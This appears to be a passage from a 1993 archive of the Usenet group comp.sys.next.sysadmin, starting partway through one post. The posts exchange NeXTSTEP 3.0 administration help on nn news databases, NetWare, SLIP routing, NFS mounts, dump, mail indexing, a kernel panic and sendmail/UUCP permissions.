Networking group. Yes, I was silly and didn't notice that I hadn't changed to NETWORK_DATABASE on the Sun in Config.h This then means that all the nn data files have to be reformatted (i.e. start over from scratch, as I saw it), or suddenly you get the same data errors on the Suns as well. Works fine now. -- Bill Eldridge bill@cognet.ucla.edu *** He who remembers the past is condemned to misread it. *** - George Santana
Newsgroups: comp.sys.next.sysadmin From: rutherford@csusys.ctstateu.edu Subject: novell problem Message-ID: <1993Feb2.175747.1@csusys.ctstateu.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT Date: Tue, 2 Feb 1993 22:57:47 GMT Help. I am running nextstep 3.0 on the same wire with a netware 3.11 server (recently upgraded from netware 2.2). With 2.2 netware I never had a problem using novell print queues and printers, and in using the drives on the novell server. Now that I have upgraded to netware 3.11, the novell services seem to be very erratic. Sometimes they work, sometimes I cannot find the netware server that is a few feet down the wire, though it will find a netware server 80 miles away more often than not ( though not always). Any clues where the problem might be? Thanks, ------------------------------------------------------------------------------- John Rutherford | Central Connecticut State University Systems Librarian | Elihu Burritt Library | New Britain, CT 06050 rutherford@ccsu.ctstateu.edu | 203-827-7800 / 203-827-7961 (FAX) john@next1.ctstateu.edu (NeXt Mail) -------------------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: mross@antigone.com Subject: Re: List of NeXT Mailing lists Message-ID: <1993Feb3.020805.1549@antigone.com> Organization: Antigone Press, San Francisco, CA, USA References: <6708@rosie.NeXT.COM> Date: Wed, 3 Feb 1993 02:08:05 GMT Conrad Geiger - Manager, International NeXT User Groups (Conrad_Geiger@NeXT.com) wrote: : Hello, : Below is the updated list of NeXT SPECIAL INTEREST GROUPS (SIGS). : These lists are available for anyone to join with NeXT special : interests in many topic areas. : Desktop Pub Information Distribution List : To join, email text: "SUB DTP-L <your name" : to address: listserv@antigone.uu.holonet.net ^^^^^^^^^^^^^^^^^^^^^^^ This address is outdated and will be discontinued shortly. Please update the records to show: listserv@antigone.com -- Michael Ross Antigone Press, San Francisco, California e-mail: mross@antigone.com FAX: +1 415 431 3650
From: arzt@dccs.upenn.edu (Noam H. Arzt) Newsgroups: comp.sys.next.sysadmin Subject: Re: Slip and -NXHost Message-ID: <107673@netnews.upenn.edu> Date: 2 Feb 93 15:02:17 GMT References: <1993Jan27.145036.20671@dvorak.amd.com> Sender: news@netnews.upenn.edu Distribution: na In article <1993Jan27.145036.20671@dvorak.amd.com> rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) writes: > In article <C1H53I.LuF@oceania.com> Kambiz Aghaiepour <kambiz@oceania.com> > writes: > >> > >>I am having trouble -NXHost'ing an application from a client machine that is > >>connected to my network via slip. (Yeah, I've heard it's really slow and > >>not worth the trouble; but I enjoy pain!) > >> > >>I have Louis A. Mamakos' slip. And the two machine that are connected are > >>both running 3.0 (one is a cube, the other a nextstation turbo). When I > >>start any application with the -NXHost option, e.g. > >> The real problem here is that you need to define an IP address for the ETHERNET adaptor on the remote (i.e. slip client) machine, since NXhost can only address an ethernet and not a slip port. Try this: 1. On remote machine (slip client), use NetManager to define the IP address and node name ONLY on the "Local" screen. Do not fill in any of the other junk. Its fine to use the default address that NeXT provides as long as you don't use that any other place in the cluster. 2. On the machine on-site that you want to NXhost from, add this IP address and host name to the hosts table in the NetInfo database. 3. In your rc.local file on the machine on site add the following: route add ip_add_of_eth_on_remote ip_add_of_slip_on_remote 1 with the right siustitutions so that the NXHost command will "find" the ethernet adaptor of the remote machine "through" the slip adaptor of that machine. Good luck! -- Mr. Noam Arzt 215/898-3029 (voice) Director, Special Projects 215/898-9348 (FAX) University of Pennsylvania arzt@dccs.upenn.edu Data Communications & Computing Services (NeXTmail is OK) Suite 221A, 3401 Walnut Street, Philadelphia, PA 19104
From: arzt@dccs.upenn.edu (Noam H. Arzt) Newsgroups: comp.sys.next.sysadmin Subject: Re: Slip and -NXHost Message-ID: <107683@netnews.upenn.edu> Date: 2 Feb 93 16:21:12 GMT References: <1993Jan27.145036.20671@dvorak.amd.com> Sender: news@netnews.upenn.edu Distribution: na The real problem here is that you need to define an IP address for the ETHERNET adaptor on the remote (i.e. slip client) machine, since NXhost can only address an ethernet and not a slip port. Try this: 1. On remote machine (slip client), use NetManager to define the IP address and node name ONLY on the "Local" screen. Do not fill in any of the other junk. Its fine to use the default address that NeXT provides as long as you don't use that any other place in the cluster. 2. On the machine on-site that you want to NXhost from, add this IP address and host name to the hosts table in the NetInfo database. 3. In your rc.local file on the machine on site add the following: route add ip_add_of_eth_on_remote ip_add_of_slip_on_remote 1 with the right siustitutions so that the NXHost command will "find" the ethernet adaptor of the remote machine "through" the slip adaptor of that machine. Good luck! -- Mr. Noam Arzt 215/898-3029 (voice) Director, Special Projects 215/898-9348 (FAX) University of Pennsylvania arzt@dccs.upenn.edu Data Communications & Computing Services (NeXTmail is OK) Suite 221A, 3401 Walnut Street, Philadelphia, PA 19104
From: kls30@cd.amdahl.com (Kent L. Shephard) Newsgroups: comp.sys.next,comp.sys.next.sysadmin Subject: Re: Can't get my FAX straight... Message-ID: <ad2A02WA34kX01@JUTS.ccc.amdahl.com> Date: 2 Feb 93 16:52:16 GMT References: <1993Feb1.162702.4461@cs.tulane.edu> Sender: netnews@ccc.amdahl.com Distribution: na Organization: Amdahl Corporation, Sunnyvale CA In article <1993Feb1.162702.4461@cs.tulane.edu>, cleeland@cs.tulane.edu (Chris Cleeland) writes: >Has anyone had any experience hooking up a FaxModem which is *NOT* >listed >in the default NS 3.0 PrintManager Fax Modem configuration? What >needs >to happen? I know precious little about Fax Modems, so info on that >would also be appreciated :-) IT may or may not work. Most likely if it isn't on the panel you will need a custom driver. > >Specifically, I am trying to hook up a Zoom/FAXMODEM FX9624 that a >friend has given to me. He used to have it hooked up to his Mac. > I haven't heard of any software that would drive that FAXmodem. You might try B&W and see if they have any plans to make NXFax work with that modem. >Any help appreciated!! E-mail, repost, phone call, whatever! > >Thanks! >-cj >-- >---------------------------------------------------------------------- >Chris Cleeland "If your heart ain't in it, >cleeland@cs.tulane.edu then get your other part out." -- /* What me, speak for Amdahl? Get real. These opinions and statements */ /* belong to me and me only. If something I said offends you, it's */ /* either you got a thin skin or that I'm just offensive. Who cares. */ /* */ /* "I'm not going to sit at your table and watch you eat, with nothing */ /* on my plate, and call myself a diner. Sitting at the table doesn't */ /* make you a diner. Being here in America doesn't make you an */ /* American." */ /* --Malcolm X */ /* */ /* Work - kls30@cd.amdahl.com - Don't send NeXTmail!! */ /* Play - kent@infoserv.com - NeXTmail welcome */
Newsgroups: comp.sys.next.sysadmin From: john@oceania.com (John Robison) Subject: Re: dump.old in 3.0 Message-ID: <C1u9nF.20y@oceania.com> Sender: john@oceania.com (John Robison) Organization: Oceania Health Care Systems References: <1kc1pnINNg53@emory.mathcs.emory.edu> Distribution: na Date: Tue, 2 Feb 1993 20:45:12 GMT Joe Christy writes > The 3.0 man pages mention dump.old, but I can't seem to find it on disk. > Where is it? Is /usr/etc/dump in 3.0 really incompatible with, say SunOS4.1.3 > /usr/etc/dump? Enquiring minds want to know. > dump.old was left out of the 3.0 distribution. (I think it was a mistake.) The 2.x version of dump.old works fine. Note that dump.old promises compatibilities with other DUMP programs, but I could never get dump.old files to be read completely by my other systems. dump (*and* dump.old) are "really incompatible" with the dump shipped on SunOS 4.1.1. You can still do backups though, it seems that rdump from a NeXT to a tape drive on our Sun works just fine. (Despite the nasty warning about rmt controls in the NeXT dump man page.) Just FYI, John -- John Robison - john@oceania.com NeXTMail Gladly Accepted What I say has absolutely nothing to do with my employer.
Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin From: dvorak@cscs.ch (Jiri Dvorak) Subject: Re: Sun NIS client won't resolve DNS from Netinfo Message-ID: <1993Feb3.081937.11566@cscs.ch> Keywords: Netinfo, NIS, YP, DNS Sender: dvorak@gass1 (Jiri Dvorak) Organization: Centro Svizzero di Calcolo Scientifico, CH-6928 Manno References: <1k9mkbINNd5m@sun.rest.tasc.com> <1kmhf6INN4k@elroy.jpl.nasa.gov> Date: Wed, 3 Feb 1993 08:19:37 GMT As a very similar issue: Has anyone found out how to get the YP_INTERDOMAIN key into a NIS+ map? Why would I need it? Because I have a Solaris NIS+ server serving SunOS4.X clients in NIS compatibility mode. DNS works fine on the server and on Solaris 2.1 Clients, using the nsswitch.conf file. However, on SunOS4.X Clients it doesn't. Obviously, the magic cookie is not present in the NIS map offered by NIS+. Any ideas? I have another problem with this NIS+/NIS configuration: Upon boot-up, i.e. upon starting ypbind on the 4.X client, it takes something between 1 to 4 false attempts to get the yp binding. ypwhich returns something like 'domain ... not bound'. The second or third ypwhich then returns the correct domain. The problem is particularly nasty because the 'ifconfig' following the 'ypbind' in rc.local usually hangs forever. My workaround consists in a couple of ypwhich's inserted between the ypbind and ifconfig. But what's the cause and 'real' solution to the problem? Thanks, Jiri Dvorak CSCS-ETHZ <dvorak@cscs.ch>
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) Newsgroups: comp.sys.next.sysadmin Subject: Running out of SCSI space Message-ID: <C1voJn.7wq@newcastle.ac.uk> Date: 3 Feb 93 15:04:35 GMT Organization: University of Durham I'm rapidly running out of SCSI id's that I can use but there are still a few more peripherals that I might consider getting (especially hard drive space)...I'm currently using: 1 Internal drive 2 External drive (HP 1.6G) 3 HP DAT 4 CD-ROM 6 HSD scan-X Colour. I think that only leaves me with 0 as 7 is reserved...how possible would it be to get an old sun to act as a SCSI-server? Is this even possible? Would I be better off buying a cheap 3/50 and putting all my hard drive space on there and then just NFS mounting everything on to my local machine? Thanks, Scott -- EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE SUN Computers: "Nice chips, shame about her OS" "If a virtual tree falls in a virtual forest, does it make a virtual sound?"
Newsgroups: comp.sys.next.sysadmin From: gvh@metrosoft.com (Gordon Van Huizen) Subject: Re: Fonts on Mac HD: How to easily access under 3.0? Message-ID: <1993Feb3.021823.1442@metrosoft.com> Sender: gvh@metrosoft.com Organization: Metrosoft References: <1993Feb1.232947.15429@galileo.cc.rochester.edu> Date: Wed, 3 Feb 1993 02:18:23 GMT In article <1993Feb1.232947.15429@galileo.cc.rochester.edu> jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes: > Is there a trick in 3.0 that lets me access the invisible > fork on Mac files more easily than what I'm doing? Nope. > Is there a manual on how to do this? Nope. > For instance, where did that first person find the method > of adding ".#rsrc#" to filenames? I asked various people at NeXT. > I suppose it's in the on-line manuals, but I can't find it. Don't feel bad - it isn't there. > It seems fairly silly to let one mount Mac HDs and then not > be able to access the data on them. We were more than a little surprised at how this works (or doesn't depending on how you look at it). > BTW: Does the program "mfrc" works under 3.0? Does it work > at all? It says that it will convert Mac fonts to NeXT, and > I'm sincerely hoping that it still works. I haven't tried it under 3.0 - I haven't had it around in quite awhile. From what I recall of the code it probably doesn't correctly work with 3.0 but I could be wrong. It also has a few bugs, but basically worked OK under 2.x. It didn't create .font warppers or provide any form of system installtion though. The way we addressed this in MetroTools was by extending our code (which already knew about a variety of ways Mec files could "look" by the time they got onto a NeXT) to handle the NeXTSTEP 3.0 case. We have a font installer (and a Mac sound convertor) as part of our commercial MetroTools package. It's reasonably priced and can save you a lot of headaches. If you want more info just send some mail to info@metrosoft.com. I have posted an article on Mac files under NeXTSTEP 3.0 a few times. Perhaps it should become part of periodic posting or FAQ. If you haven't got a copy, let me know and I'll either e-mail it or re-post it depending on the number of responses I get. Gordon -- ---------------------------------------------------------------- Gordon Van Huizen vox: 619.488.9411 fax: 619.488.3045 Metrosoft gvh@metrosoft.com [NeXTmail welcome] ----------------------------------------------------------------
From: neil@alamo.mth.pdx.edu (John Neil) Newsgroups: comp.sys.next.sysadmin,news.software.nn Subject: Re: nn: "Database magic number mismatch" error? Message-ID: <neil.728755999@dehn> Date: 3 Feb 93 16:13:19 GMT Article-I.D.: dehn.neil.728755999 References: <1993Jan28.093953.2249@cognet.ucla.edu> <C1t2AJ.DB@ccu.umanitoba.ca> Sender: news@pdxgate.UUCP tilley@ccu.umanitoba.ca (Richard Tilley) writes: >In <1993Jan28.093953.2249@cognet.ucla.edu> bill@ganesha.cognet.ucla.edu (William M. Eldridge) writes: >>Trying to get nn compiled on a NeXT Turbo Color running 3.0, >>using latest fully patched version of nn. >> 1) There's a conf/s-NeXT1-0.h file, but no updates for 2.0 >> or 3.0 - is this cool, or is a more recent version available? >> 2) I'm NFS mounting the nn database from a Sun. When I type >> "nn" I get a "Database magic number mismatch" error. >> Nothing I found in Next or nn FAQs talks about this one. >> nn runs fine on the Suns. >I had the same problem and was not able to fix it. >I have heard that you need to use NETWORK_DATABASE on both the Sun and NeXT. >Our Sun does not use this, so I was unable to test this theory. >Please let us all know if you get it working. >-- >.. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group. This is the exact set up we have had running for months. Everything works perfectly if you specify NETWORK_DATABASE on every machine which will use the NFS mounted database. --John Neil -- John Neil, Graduate Teaching Assistant e-mail: neil@math.mth.pdx.edu Mathematics Department NeXTMail: neil@dehn.mth.pdx.edu Portland State University =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Newsgroups: comp.sys.next.sysadmin From: alberto@parsec.mixcom.com (Manuel Alberto Ricart) Subject: simple NFS server question Message-ID: <1993Feb3.144242.267@parsec.mixcom.com> Sender: alberto@parsec.mixcom.com (Manuel Alberto Ricart) Organization: I keep everything where I <most likely> can find it. Date: Wed, 3 Feb 1993 14:42:42 GMT I just networked two machines (the LAN consists of only 2 computers linked to the outside world via UUCP), and noticed that on the NFS server, which exports home directories, LocalApps, etc the path to the home directories is: /Net/parsec/Users/ ^^^^^^ My concern is that the entire root directory (parsec appears under /Net and seems to be cyclical: /Net/parsec/Net/parsec..... forever. Is this normal? On the client machine I only get the fat exported directories, which is what I expected to see. Any help appreciated. -- Manuel Alberto Ricart alberto@parsec.mixcom.com <NeXTMail Welcome>
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf) Newsgroups: comp.sys.next.sysadmin Subject: index Date: 3 Feb 1993 18:01:09 GMT Organization: Technical University of Berlin, Germany Message-ID: <1kp195$474@news.cs.tu-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Summary: how to index mail? Keywords: inde and mail hallo I cannot index my mail. every attempt to index my Mailbox turns out to be a plain filename listing. (when i click 'List Titles') search always return 'o found' but there is no hint to it's contents. this is also true for user root. thanx stephan -- Stephan Fruhauf gonzo@opal.cs.tu-berlin.de what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: simple NFS server question Date: 3 Feb 1993 19:56:02 GMT Organization: University of Houston Message-ID: <1kp80iINNl0j@menudo.uh.edu> References: <1993Feb3.144242.267@parsec.mixcom.com> In article <1993Feb3.144242.267@parsec.mixcom.com> alberto@parsec.mixcom.com (Manuel Alberto Ricart) writes: #I just networked two machines (the LAN consists of only 2 #computers linked to the outside world via UUCP), and #noticed that on the NFS server, which exports home #directories, LocalApps, etc the path to the home #directories is: # #/Net/parsec/Users/ # ^^^^^^ #My concern is that the entire root directory (parsec #appears under /Net and seems to be cyclical: #/Net/parsec/Net/parsec..... forever. Is this normal? # The servers are unique. When you export and mount under /Net, you will get an endless cycle of /Net/server/Net/server/Net/server... This is perfectly normal. No need to worry about anything. #-- #Manuel Alberto Ricart #alberto@parsec.mixcom.com <NeXTMail Welcome> -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: Hal.Varian@umich.edu Newsgroups: comp.sys.next.sysadmin Subject: Re: index Date: 3 Feb 1993 20:10:35 GMT Organization: University of Michigan - College of Literature, Science, and TheArts Distribution: world Message-ID: <1kp8rrINN3vg@controversy.math.lsa.umich.edu> References: <1kp195$474@news.cs.tu-berlin.de> In article <1kp195$474@news.cs.tu-berlin.de> gonzo@cs.tu-berlin.de (S. F. Ruehauf) writes: > I cannot index my mail. > every attempt to index my Mailbox turns out to be a plain filename listing. > (when i click 'List Titles') > search always return 'o found' > but there is no hint to it's contents. Digital Librarian can index folders with ASCII or RTF files in them, but it doesn't understand the structure of mboxes. Even if it did, it wouldn't do you much good since mbox is just one big file. You need to either use the Indexing Kit to write a special-purpose indexing routine for mboxes, or download WAIS from one of the archives and use it. I've been using WAIS for this purpose for 6 months or so and am very happy with it. It takes about a half-hour to figure out how to use it, but once you do, it can handle lots of different indexing chores. I use it to index my mail, my letters, and my newsfolders. Works great! -- Hal.Varian@umich.edu Hal Varian voice: 313-764-2364 Dept of Economics fax: 313-764-2364 Univ of Michigan Ann Arbor, MI 48109-1220
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: jmarin@hobbes (Jose A. Marin) Subject: Function Keys Message-ID: <1993Feb3.194233.12189@dale.ksc.nasa.gov> Sender: news@dale.ksc.nasa.gov Organization: NASA Date: Wed, 3 Feb 1993 19:42:33 GMT I'm trying to telnet a VAX system but I need to be able to use Function Keys once I'm in. I can do this from a regular PC (since the keyboard has the function keys). I cannot do it from my NeXT because the keyboard doesn't have Function Keys and I cannot find in the NeXT's documentation how to do this. Can someone help me? -- Jose Marin (407) 867-3366 jmarin@hobbes.ksc.nasa.gov
From: amm@NeXT.COM (Alan M. Marcum) Newsgroups: comp.sys.next.sysadmin Subject: Re: dump.old in 3.0 Message-ID: <6721@rosie.NeXT.COM> Date: 3 Feb 93 21:37:57 GMT References: <1kc1pnINNg53@emory.mathcs.emory.edu> Sender: news@NeXT.COM Joe Christy writes > The 3.0 man pages mention dump.old, but I can't seem to find it... Unfortunately, dump.old isn't in Release 3.0. The 2.x version of dump.old is compatible with 3.0, though. -- Alan M. Marcum NeXT Tech Support amm@NeXT.COM
Organization: Carnegie Mellon, Pittsburgh, PA Newsgroups: comp.sys.next.sysadmin Message-ID: <IfPyUpb0BwyO1C9eVY@transarc.com> Date: Wed, 3 Feb 1993 10:43:49 -0500 From: Ward_Travis@transarc.com Subject: Slip to a Cicso STS-10 I've had SL/IP running fine in the past. But recently, I found that I wasn't removing the old routing entries when I received a new SLIP address. What I mean is that (for instance) I'd bring it up one day and be assigned address t.u.v.176 by my Cisco at work, and eventually bring down that line; then the next day another bringup would result in my being assigned address t.u.v.178 . This meant some additional work in TCL to get the interface's current IP address during a bringup and, if the newly assigned address was different, changing the routing tables on the fly to clean up the old route/IP address and configuring the new IP address into the interface and routing tables. Not that I'm convinced that I'm doing all the right things, mind you. All this appears to go off without a hitch. I tie the TCL syslog messages into a log file and I also ask for debug output to level four. Tailing both files says that everything I expect to happen is happening; the TCL isn't bungling the dialogue with the Cisco in any way. The problem is that nothing ever comes *back* across the wire. I can 'ping' to my heart's content, but never get a response. 'traceroute', even when explictly told the local address and tracing only as far as the (directly connected) Cisco, replies "n * * *" as nothing ever comes back from the Cisco. 'netstat' reports no errors on the interface, some number of outbound packets, andzero inbound packets. Unfortunately, I have only one modem at the house, and so cannot be simultaneously monitoring the office net for the arrival of the packets my NeXT is sending. If you have any suggestions for debugging approaches to this problem, if you recognize the problem outright, or have suggestions, I'd enjoy hearing them. Thanks! I'll be happy to share my scripts -- once they are debugged. FWIW, my modem is a Telebit TB+, the modem at work is a T2500, and the connection is made in Telebit's "FAST/COMP" mode. My (local) DTE speed is 19,200; I use line /dev/cufb; the cable really really does carry hardware flow control signals; I am confident that the modem is configured properly (my UUCP feed over it also runs at FAST/UUCP/COMP and is never garbled; my kermit jobs work perfectly with FAST/KERM/COMP, in both directions). This is a problem with the network configuration and routing tables, I believe. -- Ward C. Travis Pittsburgh PA "The fact is the sweetest dream that travis@transarc.com (412) 338 4388 labor knows." - R. Frost
Newsgroups: comp.sys.next.sysadmin From: andrew@cubetech.com Subject: Re: novell problem Message-ID: <1993Feb3.203215.4332@cubetech.com> Organization: Cube Technologies, Inc. References: <1993Feb2.175747.1@csusys.ctstateu.edu> Date: Wed, 3 Feb 1993 20:32:15 GMT In article <1993Feb2.175747.1@csusys.ctstateu.edu> rutherford@csusys.ctstateu.edu writes: >Help. I am running nextstep 3.0 on the same wire with >a netware 3.11 server (recently upgraded from netware >2.2). With 2.2 netware I never had a problem using >novell print queues and printers, and in using >the drives on the novell server. > >Now that I have upgraded to netware 3.11, the novell >services seem to be very erratic. Sometimes they >work, sometimes I cannot find the netware server that >is a few feet down the wire, though it will find a >netware server 80 miles away more often than not ( >though not always). > >Any clues where the problem might be? Not sure... We have 5 NetWare servers on the same net as our NeXTs, and we don't have any problems bringing any of them up at all (including one running NetWare 4.0 beta). If you intend to use a NetWare server for file service to a bunch of NeXT's, you should install the NetWare Unix Client (NUC.NLM) and load the NFS name-space onto your volumes. Although it's not necessary for using the server, the NUC handles permissions mapping, file-ownership mapping, etc... I'm not sure if it comes on the Release 3 CD-ROM or not, but you can probably get it from Novell, Univel, or NeXT. Also, the NeXT NetWare client is a little flaky. If a server goes down, the NeXT will usually not be able to find it again until you reboot the NeXT. andrew -- andrew@cubetech.com | "We cannot dwell in the time that is to come, Andrew Loewenstern | lest we lose our now for a phantom of our Cube Technologies, Inc. | own design." - Erendis FYEO Public Key: 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.soft-sys.nextstep From: draphsor@deathstar.Stanford.EDU (Matt Rollefson) Subject: Re: M.M and R.W at NeXT Message-ID: <1993Feb3.234037.17803@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University References: <YfOfSwi00WBL02AFcp@andrew.cmu.edu> Date: Wed, 3 Feb 93 23:40:37 GMT In comp.sys.next.sysadmin Yael Shavit <ys11+@andrew.cmu.edu> writes: >I'm looking for the e-mail address and/or phone number of the following >people at NeXT: > Morrise Meyer, > Richard Williamson. Pretty much all NeXT employees are reachable by sending email to Firstname_Lastname@next.com, eg: Morrise_Meyer@next.com Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
Newsgroups: comp.sys.next.sysadmin From: csmith@blackplague.gmu.edu (Blackplague) Subject: Need help with printing to Laser Printer from NeXT 3.0 Message-ID: <1993Feb3.234435.365@gmuvax2.gmu.edu> Sender: usenet@gmuvax2.gmu.edu (usenet administrator) Organization: George Mason University, Fairfax, Virginia, USA Date: Wed, 3 Feb 1993 23:44:35 GMT I am running NeXT Step 3.0 on a machine connected to an appletalk network via a shiva fast path. On this net there is a LaserWriter II and a Personal LaserWriter which has been upgraded with a Xante accelerator card to a 600 dpi printer. The NeXT is able to see the LaserWriter II, but not the upgraded Personal LaserWriter. How can I make it see this printer. I was able to see it when I first loaded 3.0, but I soon got a Printer Unavailable message and I have not been able to find it since. Any help is greatly appreciated. Please respond via email. Thanks Christian Smith
From: neil@alamo.mth.pdx.edu (John Neil) Newsgroups: comp.sys.next.sysadmin Subject: Re: logging for anonymous ftp Message-ID: <neil.728781335@dehn> Date: 3 Feb 93 23:15:35 GMT Article-I.D.: dehn.neil.728781335 References: <1993Feb1.135606.29026@murdoch.acc.Virginia.EDU> Sender: news@pdxgate.UUCP jpw@sansfoy.lib.virginia.edu (John Price-Wilkin) writes: >How does one add the "-l" (for transaction logging) switch to ftpd in the > >NetInfoManager? Is it possible to specify a log file other than syslog? Is it possible to provide additional parameters so that only anonymous ftp logging is performed? >John Price-Wilkin >jpw@Virginia.EDU What kind of logging are you talking about? The only logging that syslog does is inform you that an ftp session took place. It does NOT give statistics on who downloaded what from where. If you want that then you must get one of the new ftp daemons that are out there. I ported the WUARCHIVE ftp daemon to the NeXT (it is available from lots of ftp sites) which supports all kinds of logging as well as some very advanced capabilities and access restrictions. --John Neil -- John Neil, Graduate Teaching Assistant e-mail: neil@math.mth.pdx.edu Mathematics Department NeXTMail: neil@dehn.mth.pdx.edu Portland State University =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: Slab crashes 12 times in 5 days Message-ID: <7579@ucsbcsl.ucsb.edu> Date: 3 Feb 93 22:15:10 GMT Sender: root@ucsbcsl.ucsb.edu Followup-To: comp.sys.next.misc Distribution: usa I have one user who has managed to crash one of our machines over and over again. Many times there were no error messages whatsoever. Then recently the machine crashed with a full printout. Can anyone give me a clue as to what this crash is telling me? Is there something I can change to keep this kind of crash from occurring? Machine is 040 monochrome non-turbo slab running OS 3.0, with 20 Mb RAM. Feb 1 09:01:58 waltz mach: unexpected kernel page fault failure Feb 1 09:01:58 waltz mach: trap: type 0x410 fcode 5 rw 3 faultaddr 0x0 Feb 1 09:01:58 waltz mach: trap: pc 0x40675ec sp 0x3ffff78 sr 0x2000 Feb 1 09:01:58 waltz mach: trap: cpu 0 th 0x4016890 proc 0x40162f8 pid 77 pcb 0x10f5600c Feb 1 09:01:58 waltz mach: traceback: fp 0x10f56b30 Feb 1 09:01:58 waltz mach: called from pc 04067560 fp 10f56b50 4-args 040e44e2 00000000 00000040 0000207f Feb 1 09:01:58 waltz mach: called from pc 0406353c fp 10f56bb4 4-args 101176e4 000fe000 00000001 10f56c38 Feb 1 09:01:58 waltz mach: called from pc 04092b9e fp 10f56c3c 4-args 040caaae 10cbc000 00000003 00000000 Feb 1 09:01:58 waltz mach: called from pc 040020e8 fp 10f56c55 4-args 00000410 00000005 00000003 10cbc000 Feb 1 09:01:58 waltz mach: last fp 0x10f56c55 Feb 1 09:01:58 waltz mach: panic: (Cpu 0) MMU invalid descriptor during table walk Feb 1 09:01:58 waltz mach: NeXT ROM Monitor 2.4 v65 Feb 1 09:01:58 waltz mach: panic: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K Thanks. -- Douglas Scott (805)893-8352 Center for Computer Music Research and Composition University of California, Santa Barbara Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: pascal@nextasy.physics.mcmaster.ca (Pascal Gaudette) Subject: Re: (solved) Mapping out a bad block *without* reformatting? Message-ID: <1993Feb3.232939.15663@mcshub.dcss.mcmaster.ca> Sender: usenet@mcshub.dcss.mcmaster.ca Organization: McMaster University, Hamilton, Ontario. References: <1993Feb2.200851.5083@mcshub.dcss.mcmaster.ca> Date: Wed, 3 Feb 1993 23:29:39 GMT In article <1993Feb2.200851.5083@mcshub.dcss.mcmaster.ca> I wrote: > >It appears that I have a bad block on my (1 month old) hard drive. [...] > >Is there any way to map out the bad block *without* reformatting the >entire drive? [Sigh...] Thanks to the many people (including a sun employee! :-) who pointed me to the reasb command. It is part of the 3.0 distribution, and is also apparently available via anonymous ftp from next.com. Unfortunately, I did not have the chance to try it. To make a long story short: yesterday, before I had received any replies to my query, my NeXT started having some more problems; and after a few attempts to fix things by booting off a floppy, I wound up with a machine that wouldn't even *boot* from the hard drive. After much hair-pulling, I wound up doing a low level reformat of the drive. Luckily, I had *just* done a full backup. Since our exabyte tape is on the network, and the bootfloppy doesn't have rrestore on it, it took a bit of ingenuity as well as a 3.0 CD to get things moving. But now it is done, and I am back on my feet. Phew! Again, warm thanks to all those who responded. -- Pascal "The Rascal" Gaudette pascal@nextasy.physics.mcmaster.ca MacNUG president | *NeXTmail encouraged* graduate student, McMaster university | Je ne suis pas infaillible. Physics and astronomy dep. | Vive le Quebec LIBRE!
From: pat%expovision@cam.org (Patrique Lalonde) Newsgroups: comp.sys.next.sysadmin Subject: Re: Sendmail Not Receiving 3.0 Message-ID: <1993Feb3.195842.405@cesar.uucp> Date: 3 Feb 93 19:58:42 GMT References: <93032.093750ASODL@ASUACAD.BITNET> Sender: pat@cesar.uucp In article <93032.093750ASODL@ASUACAD.BITNET> <ASODL@ASUACAD.BITNET> writes: > Hello! > > We are having a major problem here with receiving mail. But first, let me give > some background about this problem. > > Under 2.1 we configured sendmail and it worked fine. Likewise, sendmail > continued to work once we "upgraded" to 3.0. However, and for whatever reason, > there were bad sectors reported for the server and we had to rebuild 3.0 from > scratch. SInce then, we have only been able to send mail over the network but > not receive it. Mail now bounces or loops back to the sender. > > > I seem to recall seeing some bug reports about sendmail listed but I don't have > them for reference. I as well as many others who have to presently divert mail > we appreciate any clues and suggestions for solving this problem. > > OL I'm not exactly an expert in this matter but I had a similar problem yesterday. Apparently there is a bug with ls. When you chmod +xs /usr/lib/uuxqt the ls program does not put a capital S on the execute to indicate that there is also an x behind. Try executing uuxqt from a shell. If it returns an error then the permissions are wrong. Is that is the case make sure the permissions for uuxqt are: u=xs g=x o=nothing If that does not work check in /usr/spool/uucp/D. to see if there are any messages. If there are no mails in that directory when mail comes in, then the problem is probalby your sendmail which is not configured right. I don't know enough about sendmail to help you with that. Hope this helps. Good luck. Patrique ===========NeXT Mail Patrique Lalonde pat%cesar@cam.org
